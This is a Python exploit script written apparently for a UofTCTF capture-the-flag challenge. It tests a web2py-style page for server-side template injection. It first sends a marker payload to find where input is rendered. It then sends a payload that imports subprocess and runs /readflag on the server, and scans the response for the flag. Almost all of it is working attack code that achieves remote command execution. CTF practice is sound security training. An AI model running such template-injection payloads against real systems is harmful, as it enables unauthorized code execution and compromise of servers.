#!/usr/bin/env python3
"""
Analyze exactly where and how the SSTI payload is being rendered
"""

import requests
import urllib3
import re

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def analyze_ssti_rendering():
    """See exactly where the payload appears"""
    
    # Simple test payload
    payload = "{{='UNIQUE_MARKER_12345'}}"
    
    response = requests.get(
        BASE_URL + "/welcome/default/index",
        params={"test": payload},
        verify=False,
        timeout=10
    )
    
    print(f"[*] Response status: {response.status_code}")
    print(f"[*] Response length: {len(response.text)}")
    
    # Find all occurrences of our marker
    if "UNIQUE_MARKER_12345" in response.text:
        print("\n[+] Marker found in response!")
        
        # Find all positions
        positions = [m.start() for m in re.finditer("UNIQUE_MARKER_12345", response.text)]
        print(f"[+] Found at positions: {positions}")
        
        for pos in positions:
            start = max(0, pos - 200)
            end = min(len(response.text), pos + 200)
            context = response.text[start:end]
            
            print(f"\n--- Context around position {pos} ---")
            print(context)
            print("--- End context ---\n")
    
    # Also check for the literal payload string
    if payload in response.text:
        print("\n[!] Literal payload found (not evaluated):")
        pos = response.text.find(payload)
        start = max(0, pos - 200)
        end = min(len(response.text), pos + 200)
        print(response.text[start:end])
    
    # Save full response for manual inspection
    with open("response.html", "w", encoding="utf-8") as f:
        f.write(response.text)
    print("\n[*] Full response saved to response.html")
    
    # Now try with the actual flag command
    payload2 = "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"
    response2 = requests.get(
        BASE_URL + "/welcome/default/index",
        params={"test": payload2},
        verify=False,
        timeout=10
    )
    
    print(f"\n[*] Testing /readflag payload...")
    print(f"[*] Response length: {len(response2.text)}")
    
    if "uoftctf{" in response2.text:
        print("\n[!!!] FLAG FOUND!")
        flags = re.findall(r'uoftctf\{[^}]+\}', response2.text)
        for flag in flags:
            print(f"FLAG: {flag}")
    else:
        print("[*] No flag in response")
        
        # Save this response too
        with open("response_readflag.html", "w", encoding="utf-8") as f:
            f.write(response2.text)
        print("[*] Readflag response saved to response_readflag.html")

if __name__ == "__main__":
    analyze_ssti_rendering()
